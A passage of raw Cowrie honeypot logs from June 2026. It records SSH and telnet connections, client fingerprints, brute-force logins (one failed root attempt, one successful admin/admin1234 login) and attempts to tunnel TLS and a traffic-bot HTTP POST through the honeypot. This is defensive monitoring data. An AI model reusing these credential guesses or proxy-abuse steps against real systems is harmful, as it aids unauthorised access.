1f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.903896Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:18.109958Z","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:18.171564Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0c\\xdd>C{\\xd2-\\xa93P5=\\x0c\\xf9U\\xc2Tu\\xb5\\x9fv\\xf4\\x10\\x9eC(C\\x8fF\\xb6F, \\xd9 x\\xcf\\xe3\\x1e\\x94\\xfelYy\\x15\\x87!B\\xb0K\\x00\\xce0\\x18_n\\xacL8+\\x9d\\xa2\\xdf\\x0f\\xa9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14dO\\x84\\xdcg,\\x9d\\x02\\x84\\xac\\x99\\xf9\\xce\\xadg\\xd7\\x0f\\xa2x\\xd9\\x14\\'\\xeb+s:\\x9aK\\xd8\\xbeU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0c\\xdd>C{\\xd2-\\xa93P5=\\x0c\\xf9U\\xc2Tu\\xb5\\x9fv\\xf4\\x10\\x9eC(C\\x8fF\\xb6F, \\xd9 x\\xcf\\xe3\\x1e\\x94\\xfelYy\\x15\\x87!B\\xb0K\\x00\\xce0\\x18_n\\xacL8+\\x9d\\xa2\\xdf\\x0f\\xa9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14dO\\x84\\xdcg,\\x9d\\x02\\x84\\xac\\x99\\xf9\\xce\\xadg\\xd7\\x0f\\xa2x\\xd9\\x14\\'\\xeb+s:\\x9aK\\xd8\\xbeU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:18.179703Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.2","message":"Connection lost after 22.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:27.676241Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.231","src_port":35756,"dst_ip":"159.203.135.109","dst_port":23,"session":"103886b5926d","protocol":"telnet","message":"New connection: 66.132.224.231:35756 (159.203.135.109:23) [session: 103886b5926d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:30.021745Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47638,"dst_ip":"159.203.135.109","dst_port":22,"session":"eede4c8ac5f1","protocol":"ssh","message":"New connection: 103.149.28.157:47638 (159.203.135.109:22) [session: eede4c8ac5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:30.247482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:30.252347Z","src_ip":"103.149.28.157","session":"eede4c8ac5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:30.494432Z","src_ip":"103.149.28.157","session":"eede4c8ac5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200119","message":"login attempt [root/200119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:31.230362Z","src_ip":"103.149.28.157","session":"eede4c8ac5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:32.474978Z","src_ip":"103.149.28.157","session":"eede4c8ac5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6641952991485596,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:33.685782Z","src_ip":"66.132.224.231","session":"103886b5926d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.189","src_port":60712,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48c32d194b1","protocol":"telnet","message":"New connection: 66.132.172.189:60712 (159.203.135.109:23) [session: e48c32d194b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:38.957471Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":65038,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d3b6ef3857","protocol":"ssh","message":"New connection: 123.27.168.40:65038 (10.17.0.5:22) [session: 42d3b6ef3857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:39.538277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:39.543411Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.231","src_port":44388,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec23f64a6bd","protocol":"telnet","message":"New connection: 66.132.224.231:44388 (159.203.135.109:23) [session: 8ec23f64a6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:39.817952Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:39.916182Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:41.268121Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:41.814713Z","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:41.913797Z","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:42.200230Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/16B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JEpffVI5bmNFWnQpZzJjeQ%3D%3DHMHLOjCPkVR2uqTkHvdKXu9e8WfmBN0LebQ0k96dnCy%2FivZMUmaAaArC3FLRg12I%2B26XQDtynBb9rTI4WAFF28wlUqy%2B9AIi72Fh%2BcnRQL7aceOoC8Pc258TufJsP2ls%2FUii%2FkBrlIs7Hcd6CR7AxMCS6EygO3rbcCuOWclc8LLv6dh1RjNkNt2eyIFujzEU9l%2FAuXR%2BidQD2cHRkwrDy37v7s37FddeY%2BvY974NFcwI3Ho9GtH5BIw9ZIaaoZ9biGy7xdrm2ZM16BXMrIfMR19AFQpABPfGRYIDB8O9m6sLlhBo5HxtdSYTzLYYRW9UmwV18TSHOIcy0PLBxGuVfOcvbYPi%2BYDQxhm122zveGyPa1uvmz5Q5oAYPQTvy%2BhrEad8GVqI5LyXMr7lgm8xe0DOX%2BLMNtI2OcLwJb4JsEBNzcyTqPd7IGv%2FuI1xnT7b3jCeJ9WkHn%2FRCoX38GbvawDkk0K9vnCZ%2BEDIvjiH3MIsQ8PfYrVGoqZmN%2Fk3wLom2hyYhqfmBBwI64tR%2FH%2FoJjXy3EcYWrA18588arFFaLl%2BUvF%2FHyLY4u5DtdF%2Fdys3vHkHLot80jQx1K57MhoN%2Bm9rIV85EnMY9FnM7%2FYHcVyXYJcB%2Br3GQQuXtx8vZR%2BcFIcBwYn0JQelH2miw5ID%2BTl%2BmZwpDNbGkcrpzmJak%2Fs4pNHQKCASsj9S%2BETDN7820Xc3fokTvJ6YkmJVl5b8kCy7ka7b%2F%2F0%2F%2BPHHTIxRYkJ0pS9aVpnEqT5byE5gabiUuc72775LSLQ2igpFiSQVi3c1y0P8EbgTWIJG%2F1uXXox9fxmapgvbslnGpw0Jfp66VrxNC3T0dnRtbMem9d9bOrFHYiuh0jPJqto23wfjatolUb8vnr2vzQjx2F5CINy3jERjtWrBPUb0Yer%2BziMJ3t7pcN2GFXn4HK1UIWCYM00C4vZ3laU5LGi%2F2lAwKducp6l7zxKYc2cc0VSpq5b9pF5mpwJrp%2BoCxcTvWm9PUZlaadCjZ3YhZJHwHX4431NefbJkvwn9c2gMN707nrtufxJTGmpgWyXUoN%2FSSVdDmZs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/16B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JEpffVI5bmNFWnQpZzJjeQ%3D%3DHMHLOjCPkVR2uqTkHvdKXu9e8WfmBN0LebQ0k96dnCy%2FivZMUmaAaArC3FLRg12I%2B26XQDtynBb9rTI4WAFF28wlUqy%2B9AIi72Fh%2BcnRQL7aceOoC8Pc258TufJsP2ls%2FUii%2FkBrlIs7Hcd6CR7AxMCS6EygO3rbcCuOWclc8LLv6dh1RjNkNt2eyIFujzEU9l%2FAuXR%2BidQD2cHRkwrDy37v7s37FddeY%2BvY974NFcwI3Ho9GtH5BIw9ZIaaoZ9biGy7xdrm2ZM16BXMrIfMR19AFQpABPfGRYIDB8O9m6sLlhBo5HxtdSYTzLYYRW9UmwV18TSHOIcy0PLBxGuVfOcvbYPi%2BYDQxhm122zveGyPa1uvmz5Q5oAYPQTvy%2BhrEad8GVqI5LyXMr7lgm8xe0DOX%2BLMNtI2OcLwJb4JsEBNzcyTqPd7IGv%2FuI1xnT7b3jCeJ9WkHn%2FRCoX38GbvawDkk0K9vnCZ%2BEDIvjiH3MIsQ8PfYrVGoqZmN%2Fk3wLom2hyYhqfmBBwI64tR%2FH%2FoJjXy3EcYWrA18588arFFaLl%2BUvF%2FHyLY4u5DtdF%2Fdys3vHkHLot80jQx1K57MhoN%2Bm9rIV85EnMY9FnM7%2FYHcVyXYJcB%2Br3GQQuXtx8vZR%2BcFIcBwYn0JQelH2miw5ID%2BTl%2BmZwpDNbGkcrpzmJak%2Fs4pNHQKCASsj9S%2BETDN7820Xc3fokTvJ6YkmJVl5b8kCy7ka7b%2F%2F0%2F%2BPHHTIxRYkJ0pS9aVpnEqT5byE5gabiUuc72775LSLQ2igpFiSQVi3c1y0P8EbgTWIJG%2F1uXXox9fxmapgvbslnGpw0Jfp66VrxNC3T0dnRtbMem9d9bOrFHYiuh0jPJqto23wfjatolUb8vnr2vzQjx2F5CINy3jERjtWrBPUb0Yer%2BziMJ3t7pcN2GFXn4HK1UIWCYM00C4vZ3laU5LGi%2F2lAwKducp6l7zxKYc2cc0VSpq5b9pF5mpwJrp%2BoCxcTvWm9PUZlaadCjZ3YhZJHwHX4431NefbJkvwn9c2gMN707nrtufxJTGmpgWyXUoN%2FSSVdDmZs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:42.203132Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:42.444276Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\x8a\\xb8q\\x87\\xaa\\xd2(9\\x8e\\xe5S\\xa7\\xc3\\xc3\\xff\\xd7R\\xad\\xeeiF\\'8E\\xcb\\xa2f\\xb2@$\\x81 v\\xe7,\"QP\\xb0D~\\xe8\\x17,\\xbf\\xe0\\xc8\\x8a\\xb5th\\x14V_\\x1e_\\xec\\x85\\x13\\x16\\xdc\\xca\\r\\xcf\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xae\\x82\\xb3\\x93\\x9ao\\x11\\xe2/\\x8b\\xab\\xc9<\\x0eg\\xd4\\n\\x93m\\xb9\\xaa\\xcf\\xdd\\xb0L\\x8eV\\xae\\xf8][_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\x8a\\xb8q\\x87\\xaa\\xd2(9\\x8e\\xe5S\\xa7\\xc3\\xc3\\xff\\xd7R\\xad\\xeeiF\\'8E\\xcb\\xa2f\\xb2@$\\x81 v\\xe7,\"QP\\xb0D~\\xe8\\x17,\\xbf\\xe0\\xc8\\x8a\\xb5th\\x14V_\\x1e_\\xec\\x85\\x13\\x16\\xdc\\xca\\r\\xcf\\x00 